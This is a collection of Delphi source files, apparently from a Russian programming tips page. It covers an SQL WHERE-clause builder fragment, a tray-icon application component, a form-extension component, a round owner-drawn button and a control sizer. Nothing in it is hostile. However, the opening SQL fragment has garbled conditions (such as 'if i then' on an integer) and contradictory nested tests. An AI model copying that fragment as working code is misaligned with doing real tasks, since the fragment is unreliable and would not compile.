if (i + 1 = Param_Result.Count) and (Param_Result.param_type[i+1] <> 'D') then
begin
if (Param_Result.param_type[i+1] = 'D')
and (Param_Result.Reference[i] = Param_Result.Reference[i + 1]) then
begin
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
+ BTW + U+Param_Result.param_name +U+ ' ' + A +U +
Param_Result.param_value[i+1]+ U + ' '+ A);i := i + 1
end
else
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
+'='+U+Param_Result.param_name +U+A);
end;
if (i + 1 = Param_Result.Count) and (Param_Result.param_type[i+1] = 'D') then
begin
if (Param_Result.param_type[i+1] = 'D') and
(Param_Result.Reference[i] = Param_Result.Reference[i + 1]) then
begin
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
+ BTW + U+Param_Result.param_name +U+ ' ' + A +U +
Param_Result.param_value[i+1]+ U + ' ');i := i + 1
end
else
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i]
+'='+U+Param_Result.param_name +U);
end;
end;
// ТИП СЛОВАРЬ
if (Param_Result.param_type[i] = 'C') then
if i then
begin
if Param_Result.Equality[i] = false then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
L + Param_Result.param_name + PR + A)
else
if Param_Result.Inverse[i] = false then
writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
'='+ Param_Result.param_name+A)
else
writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
N+'='+ Param_Result.param_name+A);
end
else
begin
if Param_Result.Equality[i] = false then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
L + Param_Result.param_name + PR )
else
if Param_Result.Inverse[i] = false then
writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
'='+ Param_Result.param_name)
else
writeln(Sql_file,table_str + C_ + Param_Result.Field_Name[i] +
N+'='+ Param_Result.param_name);
end;
// ТИП ЧИСЛОВОЕ ЗНАЧЕНИЕ
if (Param_Result.param_type[i] = 'N') then
if i then
begin
if Param_Result.NumEq[i] = eq then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
eq + Param_Result.param_name + A);
if Param_Result.NumEq[i] = min then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
min + Param_Result.param_name + A);
if Param_Result.NumEq[i] = max then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
max + Param_Result.param_name + A);
if Param_Result.NumEq[i] = eq_max then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
eq_max + Param_Result.param_name + A);
if Param_Result.NumEq[i] = eq_min then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
eq_min + Param_Result.param_name + A);
if Param_Result.NumEq[i] = min_max then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
min_max + Param_Result.param_name + A);
end
else
begin
if Param_Result.NumEq[i] = eq then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
eq + Param_Result.param_name);
if Param_Result.NumEq[i] = min then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
min + Param_Result.param_name);
if Param_Result.NumEq[i] = max then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
max + Param_Result.param_name);
if Param_Result.NumEq[i] = eq_max then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
eq_max + Param_Result.param_name);
if Param_Result.NumEq[i] = eq_min then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
eq_min + Param_Result.param_name);
if Param_Result.NumEq[i] = min_max then
writeln(Sql_File,table_str + C_ + Param_Result.Field_Name[i] +
min_max + Param_Result.param_name);
end;
{!MAIN REPEAT!}
until
i = Param_Result.Count;
CloseFile(Sql_File);
Clear_Search;
end; // END FUNCTION
function Param_Set(NumParam: integer; FieldName: string; Ref: integer;
Equal: boolean; P_Type: char; P_Value: variant): TControlSearch;
begin
Param_.Field_Name[NumParam] := FieldName;
Param_.Reference[NumParam] := Ref;
Param_.Equality[NumParam] := Equal;
Param_.param_type[NumParam] := P_Type;
Param_.param_value[NumParam] := P_value;
end; //END FUNCTION
procedure SetOrder(o: integer; str: string);
var
t_str: string;
begin
AssignFile(Sql_File,path_);
Append(Sql_File);
if str = 'N' then
begin
t_str := tables[param_.Reference[o]];
writeln(Sql_file,ORD_+t_str+'.'+Param_.Field_Name[o]);
Close(Sql_File);
end
else
begin
writeln(Sql_file,ORD_+' '+str);
Close(Sql_File);
end;
end; // END PROCEDURE
end.
|
Круглая кнопка, кнопка с изменяющимися размерами.
DDHAPPX_PAS.HTM.
unit DdhAppX;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes,
Graphics, Controls, Forms, Dialogs, ShellApi, Menus;
type
TDdhAppExt = class(TComponent)
private
// design time clone or runtime Application
CurrApp: TApplication;
// window procedures
OldWndProc, NewWndProc: Pointer;
// tray support
fTrayIconActive: Boolean;
fTrayIcon: TIcon;
fTrayPopup: TPopupMenu;
nid: TNotifyIconData;
fOnTrayDefault: TNotifyEvent;
procedure IconTrayWndProc (var Msg: TMessage);
protected
// property and event access methods
function GetIcon: TIcon;
procedure SetIcon (Value: TIcon);
function GetTitle: string;
procedure SetTitle(Value: string);
function GetHelpFile: string;
procedure SetHelpFile(Value: string);
function GetHintColor: TColor;
procedure SetHintColor(Value: TColor);
function GetHintPause: Integer;
procedure SetHintPause(Value: Integer);
function GetHintShortPause: Integer;
procedure SetHintShortPause(Value: Integer);
function GetHintHidePause: Integer;
procedure SetHintHidePause(Value: Integer);
function GetShowHint: Boolean;
procedure SetShowHint(Value: Boolean);
function GetOnActivate: TNotifyEvent;
procedure SetOnActivate(Value: TNotifyEvent);
function GetOnDeactivate: TNotifyEvent;
procedure SetOnDeactivate(Value: TNotifyEvent);
function GetOnException: TExceptionEvent;
procedure SetOnException(Value: TExceptionEvent);
function GetOnIdle: TIdleEvent;
procedure SetOnIdle(Value: TIdleEvent);
function GetOnHelp: THelpEvent;
procedure SetOnHelp(Value: THelpEvent);
function GetOnHint: TNotifyEvent;
procedure SetOnHint(Value: TNotifyEvent);
function GetOnMessage: TMessageEvent;
procedure SetOnMessage(Value: TMessageEvent);
function GetOnMinimize: TNotifyEvent;
procedure SetOnMinimize(Value: TNotifyEvent);
function GetOnRestore: TNotifyEvent;
procedure SetOnRestore(Value: TNotifyEvent);
function GetOnShowHint: TShowHintEvent;
procedure SetOnShowHint(Value: TShowHintEvent);
procedure SetTrayIconActive (Value: Boolean);
procedure SetTrayIcon (Value: TIcon);
procedure IconChange (Sender: TObject);
procedure SetTrayHint (Value: string);
function GetTrayHint: string;
procedure SetTrayPopup (Value: TPopupMenu);
procedure Notification(AComponent: TComponent;
Operation: TOperation); override;
public
constructor Create (AOwner: TComponent); override;
destructor Destroy; override;
published
// TApplication properties
property Icon: TIcon
read GetIcon write SetIcon ;
property Title: string
read GetTitle write SetTitle;
property HelpFile: string
read GetHelpFile write SetHelpFile;
property HintColor: TColor
read GetHintColor write SetHintColor default clInfoBk;
property HintPause: Integer
read GetHintPause write SetHintPause default 500;
property HintShortPause: Integer
read GetHintShortPause write SetHintShortPause default 50;
property HintHidePause: Integer
read GetHintHidePause write SetHintHidePause default 2500;
property ShowHint: Boolean
read GetShowHint write SetShowHint default False;
// tray icon properties
property TrayIconActive: Boolean
read fTrayIconActive write SetTrayIconActive default False;
property TrayIcon: TIcon
read fTrayIcon write SetTrayIcon;
property TrayHint: string
read GetTrayHint write SetTrayHint;
property TrayPopup: TPopupMenu
read fTrayPopup write SetTrayPopup;
property OnTrayDefault: TNotifyEvent
read fOnTrayDefault write fOnTrayDefault;
// TApplication events
property OnActivate: TNotifyEvent
read GetOnActivate write SetOnActivate;
property OnDeactivate: TNotifyEvent
read GetOnDeactivate write SetOnDeactivate;
property OnException: TExceptionEvent
read GetOnException write SetOnException;
property OnIdle: TIdleEvent
read GetOnIdle write SetOnIdle;
property OnHelp: THelpEvent
read GetOnHelp write SetOnHelp;
property OnHint: TNotifyEvent
read GetOnHint write SetOnHint;
property OnMessage: TMessageEvent
read GetOnMessage write SetOnMessage;
property OnMinimize: TNotifyEvent
read GetOnMinimize write SetOnMinimize;
property OnRestore: TNotifyEvent
read GetOnRestore write SetOnRestore;
property OnShowHint: TShowHintEvent
read GetOnShowHint write SetOnShowHint;
end;
procedure Register;
implementation
const
wm_IconMessage = wm_User;
var
AppCompCounter: Integer;
constructor TDdhAppExt.Create(AOwner: TComponent);
begin
// check if already created
Inc (AppCompCounter);
if AppCompCounter > 1 then
raise Exception.Create (
'Duplicated DdhAppExt component');
inherited Create(AOwner);
// application object initialization
if csDesigning in ComponentState then
begin
CurrApp := TApplication.Create (nil);
CurrApp.Icon := nil;
CurrApp.Title := '';
CurrApp.HelpFile := '';
end
else
CurrApp := Application;
// tray icon initialization
fTrayIconActive := False;
fTrayIcon := TIcon.Create;
fTrayIcon.OnChange := IconChange;
nid.cbSize := sizeof (nid);
nid.wnd := CurrApp.Handle;
nid.uID := 1; // icon ID
nid.uCallBackMessage := wm_IconMessage;
nid.hIcon := CurrApp.Icon.Handle;
StrLCopy (nid.szTip, PChar('Tip'), 64);
nid.uFlags := nif_Message or
nif_Icon or nif_Tip;
// subclass the application
if not (csDesigning in ComponentState) then
begin
NewWndProc := MakeObjectInstance (IconTrayWndProc);
OldWndProc := Pointer (SetWindowLong (
CurrApp.Handle, gwl_WndProc, Longint (NewWndProc)));
end
else
begin
// default values
NewWndProc := nil;
OldWndPRoc := nil;
end;
end;
destructor TDdhAppExt.Destroy;
begin
// remove the application window procedure
if csDesigning in ComponentState then
begin
// re-install the original window procedure
SetWindowLong (CurrApp.Handle, gwl_WndProc,
Longint (OldWndProc));
// free the object instance
if Assigned (NewWndProc) then
FreeObjectInstance (NewWndProc);
end;
Dec (AppCompCounter);
// remove the tray icon
if fTrayIconActive then
Shell_NotifyIcon (NIM_DELETE, @nid);
fTrayIcon.Free;
// default destructor
inherited Destroy;
end;
procedure TDdhAppExt.Notification(AComponent: TComponent;
Operation: TOperation);
begin
inherited Notification (AComponent, Operation);
if (Operation = opRemove) and (AComponent = fTrayPopup) then
fTrayPopup := nil;
end;
// property access methods
function TDdhAppExt.GetIcon : TIcon;
begin
Result := CurrApp.Icon ;
end;
procedure TDdhAppExt.SetIcon (Value: TIcon);
begin
CurrApp.Icon := Value;
end;
function TDdhAppExt.GetTitle: string;
begin
Result := CurrApp.Title;
end;
procedure TDdhAppExt.SetTitle(Value: string);
begin
CurrApp.Title := Value;
end;
function TDdhAppExt.GetHelpFile: string;
begin
Result := CurrApp.HelpFile;
end;
procedure TDdhAppExt.SetHelpFile(Value: string);
begin
CurrApp.HelpFile := Value;
end;
function TDdhAppExt.GetHintColor: TColor;
begin
Result := CurrApp.HintColor;
end;
procedure TDdhAppExt.SetHintColor(Value: TColor);
begin
CurrApp.HintColor := Value;
end;
function TDdhAppExt.GetHintPause: Integer;
begin
Result := CurrApp.HintPause;
end;
procedure TDdhAppExt.SetHintPause(Value: Integer);
begin
CurrApp.HintPause := Value;
end;
function TDdhAppExt.GetHintShortPause: Integer;
begin
Result := CurrApp.HintShortPause;
end;
procedure TDdhAppExt.SetHintShortPause(Value: Integer);
begin
CurrApp.HintShortPause := Value;
end;
function TDdhAppExt.GetHintHidePause: Integer;
begin
Result := CurrApp.HintHidePause;
end;
procedure TDdhAppExt.SetHintHidePause(Value: Integer);
begin
CurrApp.HintHidePause := Value;
end;
function TDdhAppExt.GetShowHint: Boolean;
begin
Result := CurrApp.ShowHint;
end;
procedure TDdhAppExt.SetShowHint(Value: Boolean);
begin
CurrApp.ShowHint := Value;
end;
function TDdhAppExt.GetOnActivate: TNotifyEvent;
begin
Result := CurrApp.OnActivate;
end;
procedure TDdhAppExt.SetOnActivate(Value: TNotifyEvent);
begin
CurrApp.OnActivate := Value;
end;
function TDdhAppExt.GetOnDeactivate: TNotifyEvent;
begin
Result := CurrApp.OnDeactivate;
end;
procedure TDdhAppExt.SetOnDeactivate(Value: TNotifyEvent);
begin
CurrApp.OnDeactivate := Value;
end;
function TDdhAppExt.GetOnException: TExceptionEvent;
begin
Result := CurrApp.OnException;
end;
procedure TDdhAppExt.SetOnException(Value: TExceptionEvent);
begin
CurrApp.OnException := Value;
end;
function TDdhAppExt.GetOnIdle: TIdleEvent;
begin
Result := CurrApp.OnIdle;
end;
procedure TDdhAppExt.SetOnIdle(Value: TIdleEvent);
begin
CurrApp.OnIdle := Value;
end;
function TDdhAppExt.GetOnHelp: THelpEvent;
begin
Result := CurrApp.OnHelp;
end;
procedure TDdhAppExt.SetOnHelp(Value: THelpEvent);
begin
CurrApp.OnHelp := Value;
end;
function TDdhAppExt.GetOnHint: TNotifyEvent;
begin
Result := CurrApp.OnHint;
end;
procedure TDdhAppExt.SetOnHint(Value: TNotifyEvent);
begin
CurrApp.OnHint := Value;
end;
function TDdhAppExt.GetOnMessage: TMessageEvent;
begin
Result := CurrApp.OnMessage;
end;
procedure TDdhAppExt.SetOnMessage(Value: TMessageEvent);
begin
CurrApp.OnMessage := Value;
end;
function TDdhAppExt.GetOnMinimize: TNotifyEvent;
begin
Result := CurrApp.OnMinimize;
end;
procedure TDdhAppExt.SetOnMinimize(Value: TNotifyEvent);
begin
CurrApp.OnMinimize := Value;
end;
function TDdhAppExt.GetOnRestore: TNotifyEvent;
begin
Result := CurrApp.OnRestore;
end;
procedure TDdhAppExt.SetOnRestore(Value: TNotifyEvent);
begin
CurrApp.OnRestore := Value;
end;
function TDdhAppExt.GetOnShowHint: TShowHintEvent;
begin
Result := CurrApp.OnShowHint;
end;
procedure TDdhAppExt.SetOnShowHint(Value: TShowHintEvent);
begin
CurrApp.OnShowHint := Value;
end;
// tray icon support
procedure TDdhAppExt.SetTrayIconActive (Value: Boolean);
begin
if Value <> fTrayIconActive then
begin
fTrayIconActive := Value;
if not (csDesigning in ComponentState) then
begin
if fTrayIconActive then
Shell_NotifyIcon (NIM_ADD, @nid)
else
Shell_NotifyIcon (NIM_DELETE, @nid);
end;
end;
end;
procedure TDdhAppExt.SetTrayIcon (Value: TIcon);
begin
fTrayIcon.Assign (Value);
end;
procedure TDdhAppExt.IconChange (Sender: TObject);
begin
if not (fTrayIcon.Empty) then
nid.hIcon := fTrayIcon.Handle
else
nid.hIcon := CurrApp.MainForm.Icon.Handle;
if fTrayIconActive and
not (csDesigning in ComponentState) then
Shell_NotifyIcon (NIM_MODIFY, @nid);
end;
function TDdhAppExt.GetTrayHint: string;
begin
Result := string (nid.szTip);
end;
procedure TDdhAppExt.SetTrayHint (Value: string);
begin
StrLCopy (nid.szTip, PChar(Value), 64);
if fTrayIconActive and
not (csDesigning in ComponentState) then
Shell_NotifyIcon (NIM_MODIFY, @nid);
end;
procedure TDdhAppExt.SetTrayPopup (Value: TPopupMenu);
begin
if Value <> fTrayPopup then
begin
fTrayPopup := Value;
if Assigned (fTrayPopup) then
fTrayPopup.FreeNotification (self);
end;
end;
procedure TDdhAppExt.IconTrayWndProc (var Msg: TMessage);
var
Pt: TPoint;
begin
// show the popup menu
if (Msg.Msg = wm_IconMessage) and
(Msg.lParam = wm_rButtonDown) and
Assigned (fTrayPopup) then
begin
SetForegroundWindow (CurrApp.MainForm.Handle);
GetCursorPos (Pt);
fTrayPopup.Popup (Pt.x, Pt.y);
end
// do the default action
else if (Msg.Msg = wm_IconMessage) and
(Msg.lParam = wm_lButtonDblClk) and
Assigned (fOnTrayDefault) then
begin
SetForegroundWindow (CurrApp.MainForm.Handle);
fOnTrayDefault (self);
end
else
// original window procedure
Msg.Result := CallWindowProc (OldWndProc,
CurrApp.Handle, Msg.Msg, Msg.WParam, Msg.LParam);
end;
// component registration
procedure Register;
begin
RegisterComponents('DDHB', [TDdhAppExt]);
end;
initialization
AppCompCounter := 0;
end.
|
DDHFORMX_PAS.HTM.
unit DdhFormX;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs, ExtCtrls;
type
TDdhFormExt = class(TComponent)
private
// window procedures
OldWndProc, NewWndProc: Pointer;
// MinMaxInfo data
fMaximizedWidth: Integer;
fMaximizedHeight: Integer;
fMaximizedPosX: Integer;
fMaximizedPosY: Integer;
fMinimumTrackWidth: Integer;
fMinimumTrackHeight: Integer;
fMaximumTrackWidth: Integer;
fMaximumTrackHeight: Integer;
// background bitmap
fBackBitmap: TBitmap;
procedure SetBackBitmap (Value: TBitmap);
protected
function FormHandle: THandle;
procedure NewWndMethod (var Msg: TMessage);
procedure BackBitmapChanged (Sender: TObject);
public
constructor Create (AOwner: TComponent); override;
destructor Destroy; override;
published
property BackBitmap: TBitmap
read fBackBitmap write SetBackBitmap;
property MaximizedWidth: Integer
read fMaximizedWidth write fMaximizedWidth
default 0;
property MaximizedHeight: Integer
read fMaximizedHeight write fMaximizedHeight
default 0;
property MaximizedPosX: Integer
read fMaximizedPosX write fMaximizedPosX
default 0;
property MaximizedPosY: Integer
read fMaximizedPosY write fMaximizedPosY
default 0;
property MinimumTrackWidth: Integer
read fMinimumTrackWidth write fMinimumTrackWidth
default 0;
property MinimumTrackHeight: Integer
read fMinimumTrackHeight write fMinimumTrackHeight
default 0;
property MaximumTrackWidth: Integer
read fMaximumTrackWidth write fMaximumTrackWidth
default 0;
property MaximumTrackHeight: Integer
read fMaximumTrackHeight write fMaximumTrackHeight
default 0;
end;
procedure Register;
implementation
constructor TDdhFormExt.Create (AOwner: TComponent);
var
I: Integer;
begin
// check if the owner is a form
if (Owner = nil) or not (AOwner is TForm) then
raise Exception.Create (
'Owner of DdhFormExt component must be a form');
// create a single instance only
for I := 0 to AOwner.ComponentCount - 1 do
if AOwner.Components[I] is TDdhFormExt then
raise Exception.Create (
'DdhFormExt component duplicated in ' +
AOwner.Name);
// default creation
inherited Create (AOwner);
// form subclassing (runtime only)
if not (csDesigning in ComponentState) then
begin
NewWndProc := MakeObjectInstance (NewWndMethod);
OldWndProc := Pointer (SetWindowLong (
FormHandle, gwl_WndProc, Longint (NewWndProc)));
end
else
begin
// default values
NewWndProc := nil;
OldWndPRoc := nil;
end;
fBackBitmap := TBitmap.Create;
fBackBitmap.OnChange := BackBitmapChanged;
end;
destructor TDdhFormExt.Destroy;
begin
if Assigned (NewWndProc) then
begin
FreeObjectInstance (NewWndProc);
SetWindowLong (FormHandle, gwl_WndProc,
Longint (OldWndProc));
end;
fBackBitmap.Free;
inherited Destroy;
end;
function TDdhFormExt.FormHandle: THandle;
begin
Result := (Owner as TForm).Handle;
end;
// custom window procedure
procedure TDdhFormExt.NewWndMethod (var Msg: TMessage);
var
ix, iy: Integer;
ClientWidth, ClientHeight: Integer;
BmpWidth, BmpHeight: Integer;
hCanvas, BmpCanvas: THandle;
pMinMax: PMinMaxInfo;
begin
case Msg.Msg of
wm_EraseBkgnd:
if (fBackBitmap.Height <> 0) or
(fBackBitmap.Width <> 0) then
begin
ClientWidth := (Owner as TForm).ClientWidth;
ClientHeight := (Owner as TForm).ClientHeight;
BmpWidth := fBackBitmap.Width;
BmpHeight := fBackBitmap.Height;
BmpCanvas := fBackBitmap.Canvas.Handle;
hCanvas := THandle (Msg.wParam);
for iy := 0 to ClientHeight div BmpHeight do
for ix := 0 to ClientWidth div BmpWidth do
BitBlt (hCanvas, ix * BmpWidth, iy * BmpHeight,
BmpWidth, BmpHeight, BmpCanvas,
0, 0, SRCCOPY);
Msg.Result := 1; // message handled
Exit; // skip default processing
end;
wm_GetMinMaxInfo:
if fMaximizedWidth + fMaximizedHeight + fMaximizedPosX +
fMaximizedPosY + fMinimumTrackWidth + fMinimumTrackHeight +
fMaximumTrackWidth + fMaximumTrackHeight <> 0 then
begin
pMinMax := PMinMaxInfo (Msg.lParam);
if fMaximizedWidth <> 0 then
pMinMax.ptMaxSize.X := fMaximizedWidth;
if fMaximizedHeight <> 0 then
pMinMax.ptMaxSize.Y := fMaximizedHeight;
if fMaximizedPosX <> 0 then
pMinMax.ptMaxPosition.X := fMaximizedPosX;
if fMaximizedPosY <> 0 then
pMinMax.ptMaxPosition.Y := fMaximizedPosY;
if fMinimumTrackWidth <> 0 then
pMinMax.ptMinTrackSize.X := fMinimumTrackWidth;
if fMinimumTrackHeight <> 0 then
pMinMax.ptMinTrackSize.Y := fMinimumTrackHeight;
if fMaximumTrackWidth <> 0 then
pMinMax.ptMaxTrackSize.X := fMaximumTrackWidth;
if fMaximumTrackHeight <> 0 then
pMinMax.ptMaxTrackSize.Y := fMaximumTrackHeight;
Msg.Result := 0; // message handled
Exit; // skip default processing
end;
end;
// call the default window procedure for every message
Msg.Result := CallWindowProc (OldWndProc,
FormHandle, Msg.Msg, Msg.WParam, Msg.LParam);
end;
// property related methods
procedure TDdhFormExt.SetBackBitmap(Value: TBitmap);
begin
fBackBitmap.Assign (Value);
end;
procedure TDdhFormExt.BackBitmapChanged (Sender: TObject);
begin
(Owner as TForm).Invalidate;
end;
procedure Register;
begin
RegisterComponents('DDHB', [TDdhFormExt]);
end;
end.
|
DDHROUND_PAS.HTM.
unit DdhRound;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TDdhRoundBtn = class(TButton)
private
IsFocused: Boolean;
FCanvas: TCanvas;
procedure CNDrawItem(var Msg: TWMDrawItem); message CN_DRAWITEM;
procedure CMFontChanged(var Msg: TMessage); message CM_FONTCHANGED;
procedure CMEnabledChanged(var Msg: TMessage); message CM_ENABLEDCHANGED;
procedure WMLButtonDblClk(var Message: TWMLButtonDblClk);
message WM_LBUTTONDBLCLK;
protected
procedure SetBounds (ALeft, ATop, AWidth, AHeight: Integer); override;
procedure CreateParams(var Params: TCreateParams); override;
procedure CreateWnd; override;
procedure SetButtonStyle(ADefault: Boolean); override;
public
constructor Create (AOwner: TComponent); override;
destructor Destroy; override;
published
property Color;
property Width default 100;
property Height default 50;
property ParentShowHint;
property ShowHint;
property TabOrder;
property TabStop;
property Visible;
property OnEnter;
property OnExit;
end;
procedure Register;
implementation
constructor TDdhRoundBtn.Create (AOwner: TComponent);
begin
inherited Create (AOwner);
SetBounds (Left, Top, 100, 50);
FCanvas := TCanvas.Create;
end;
destructor TDdhRoundBtn.Destroy;
begin
inherited Destroy;
FCanvas.Free;
end;
procedure TDdhRoundBtn.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
with Params
do Style := Style or bs_OwnerDraw;
end;
procedure TDdhRoundBtn.CreateWnd;
var
hRegion: THandle;
begin
inherited CreateWnd;
hRegion := CreateEllipticRgn (0, 0, Width, Height);
SetWindowRgn (Handle, hRegion, True);
end;
procedure TDdhRoundBtn.SetBounds (ALeft, ATop,
AWidth, AHeight: Integer);
var
hRegion: THandle;
begin
inherited SetBounds (ALeft, ATop, AWidth, AHeight);
if HandleAllocated then
begin
hRegion := CreateEllipticRgn (0, 0, AWidth, AHeight);
SetWindowRgn (Handle, hRegion, True);
end;
end;
procedure TDdhRoundBtn.CNDrawItem(var Msg: TWMDrawItem);
var
OdsDown, OdsFocus, ActionFocus: Boolean;
Rect: TRect;
begin
// initialize
FCanvas.Handle := Msg.DrawItemStruct^.hDC;
Rect := ClientRect;
Dec (Rect.Right);
Dec (Rect.Bottom);
with Msg.DrawItemStruct^ do
begin
OdsDown := itemState and ODS_SELECTED <> 0;
OdsFocus := itemState and ODS_FOCUS <> 0;
ActionFocus := ItemAction = oda_Focus
end;
with FCanvas do
begin
Brush.Color := Color;
if not ActionFocus then
begin
// fill with current color
Brush.Style := bsSolid;
FillRect (Rect);
end;
// do not fill any more
Brush.Style := bsClear;
// draw border if default
if Default or OdsFocus then
begin
Pen.Color := clWindowFrame;
if not ActionFocus then
Ellipse (Rect.Left, Rect.Top,
Rect.Right, Rect.Bottom);
// reduce the area for further operations
InflateRect (Rect, -1, -1);
end;
if OdsDown then
begin
// draw gray border all around
Pen.Color := clBtnShadow;
if not ActionFocus then
Ellipse (Rect.Left, Rect.Top,
Rect.Right, Rect.Bottom);
end
else if not ActionFocus then
begin
// gray border (bottom-right)
Pen.Color := clWindowFrame;
Arc (Rect.Left, Rect.Top, Rect.Right, Rect.Bottom, // ellipse
Rect.Left, Rect.Bottom, // start
Rect.Right, Rect.Top); // end
// white border (top-left)
Pen.Color := clWhite;
Arc (Rect.Left, Rect.Top, Rect.Right, Rect.Bottom, // ellipse
Rect.Right, Rect.Top, // start
Rect.Left, Rect.Bottom); // end
// gray border (bottom-right, internal)
Pen.Color := clBtnShadow;
InflateRect (Rect, -1, -1);
Arc (Rect.Left, Rect.Top, Rect.Right, Rect.Bottom, // ellipse
Rect.Left, Rect.Bottom, // start
Rect.Right, Rect.Top); // end
end;
// draw the caption
InflateRect (Rect, - Width div 5, - Height div 5);
if OdsDown then
begin
Inc (Rect.Left, 2);
Inc (Rect.Top, 2);
end;
Font := Self.Font;
if not ActionFocus then
DrawText (FCanvas.Handle, PChar (Caption), -1,
Rect, dt_SingleLine or dt_Center or dt_VCenter);
// draw the focus rect around the text
Brush.Style := bsSolid;
Pen.Color:= clBlack;
Brush.Color := clWhite;
if IsFocused or OdsFocus or ActionFocus then
DrawFocusRect (Rect);
end; // with FCanvas and if DrawEntire
FCanvas.Handle := 0;
Msg.Result := 1; // message handled
end;
procedure TDdhRoundBtn.CMFontChanged(var Msg: TMessage);
begin
inherited;
Invalidate;
end;
procedure TDdhRoundBtn.CMEnabledChanged(var Msg: TMessage);
begin
inherited;
Invalidate;
end;
procedure TDdhRoundBtn.WMLButtonDblClk(var Message: TWMLButtonDblClk);
begin
Perform(WM_LBUTTONDOWN, Message.Keys, Longint(Message.Pos));
end;
procedure TDdhRoundBtn.SetButtonStyle (ADefault: Boolean);
begin
if ADefault <> IsFocused then
begin
IsFocused := ADefault;
Invalidate;
end;
end;
procedure Register;
begin
RegisterComponents('DDHB', [TDdhRoundBtn]);
end;
end.
|
DDHSIZER_PAS.HTM.
unit DdhSizer;
interface
uses
Classes, Windows, Messages, Controls, StdCtrls;
const
sc_DragMove: Longint = $F012;
type
TDdhSizeButton = class (TButton)
public
procedure WmNcHitTest (var Msg: TWmNcHitTest);
message wm_NcHitTest;
end;
TDdhSizerControl = class (TCustomControl)
private
FControl: TControl;
FRectList: array [1..8] of TRect;
FPosList: array [1..8] of Integer;
public
constructor Create (AOwner: TComponent;
AControl: TControl);
procedure CreateParams (var Params: TCreateParams);
override;
procedure CreateHandle; override;
procedure WmNcHitTest (var Msg: TWmNcHitTest);
message wm_NcHitTest;
procedure WmSize (var Msg: TWmSize);
message wm_Size;
procedure WmLButtonDown (var Msg: TWmLButtonDown);
message wm_LButtonDown;
procedure WmMove (var Msg: TWmMove);
message wm_Move;
procedure Paint; override;
procedure SizerControlExit (Sender: TObject);
end;
procedure Register;
implementation
uses
Graphics;
// TDdhSizeButton methods
procedure TDdhSizeButton.WmNcHitTest(var Msg: TWmNcHitTest);
var
Pt: TPoint;
begin
Pt := Point (Msg.XPos, Msg.YPos);
Pt := ScreenToClient (Pt);
if (Pt.x < 5) and (pt.y < 5) then
Msg.Result := htTopLeft
else if (Pt.x > Width - 5) and (pt.y < 5) then
Msg.Result := htTopRight
else if (Pt.x > Width - 5) and (pt.y > Height - 5) then
Msg.Result := htBottomRight
else if (Pt.x < 5) and (pt.y > Height - 5) then
Msg.Result := htBottomLeft
else if (Pt.x < 5) then
Msg.Result := htLeft
else if (pt.y < 5) then
Msg.Result := htTop
else if (Pt.x > Width - 5) then
Msg.Result := htRight
else if (pt.y > Height - 5) then
Msg.Result := htBottom
else
inherited;
end;
// TDdhSizerControl methods
constructor TDdhSizerControl.Create (
AOwner: TComponent; AControl: TControl);
var
R: TRect;
begin
inherited Create (AOwner);
FControl := AControl;
// install the new handler
OnExit := SizerControlExit;
// set the size and position
R := FControl.BoundsRect;
InflateRect (R, 2, 2);
BoundsRect := R;
// set the parent
Parent := FControl.Parent;
// create the list of positions
FPosList [1] := htTopLeft;
FPosList [2] := htTop;
FPosList [3] := htTopRight;
FPosList [4] := htRight;
FPosList [5] := htBottomRight;
FPosList [6] := htBottom;
FPosList [7] := htBottomLeft;
FPosList [8] := htLeft;
end;
procedure TDdhSizerControl.CreateHandle;
begin
inherited CreateHandle;
SetFocus;
end;
procedure TDdhSizerControl.CreateParams (var Params: TCreateParams);
begin
inherited CreateParams(Params);
Params.ExStyle := Params.ExStyle +
ws_ex_Transparent;
end;
procedure TDdhSizerControl.Paint;
var
I: Integer;
begin
Canvas.Brush.Color := clBlack;
for I := 1 to 8 do
Canvas.Rectangle (FRectList [I].Left, FRectList [I].Top,
FRectList [I].Right, FRectList [I].Bottom);
end;
procedure TDdhSizerControl.WmNcHitTest(var Msg: TWmNcHitTest);
var
Pt: TPoint;
I: Integer;
begin
Pt := Point (Msg.XPos, Msg.YPos);
Pt := ScreenToClient (Pt);
Msg.Result := 0;
for I := 1 to 8 do
if PtInRect (FRectList [I], Pt) then
Msg.Result := FPosList [I];
// if the return value was not set
if Msg.Result = 0 then
inherited;
end;
procedure TDdhSizerControl.WmSize (var Msg: TWmSize);
var
R: TRect;
begin
R := BoundsRect;
InflateRect (R, -2, -2);
FControl.BoundsRect := R;
// setup data structures
FRectList [1] := Rect (0, 0, 5, 5);
FRectList [2] := Rect (Width div 2 - 3, 0,
Width div 2 + 2, 5);
FRectList [3] := Rect (Width - 5, 0, Width, 5);
FRectList [4] := Rect (Width - 5, Height div 2 - 3,
Width, Height div 2 + 2);
FRectList [5] := Rect (Width - 5, Height - 5,
Width, Height);
FRectList [6] := Rect (Width div 2 - 3, Height - 5,
Width div 2 + 2, Height);
FRectList [7] := Rect (0, Height - 5, 5, Height);
FRectList [8] := Rect (0, Height div 2 - 3,
5, Height div 2 + 2);
end;
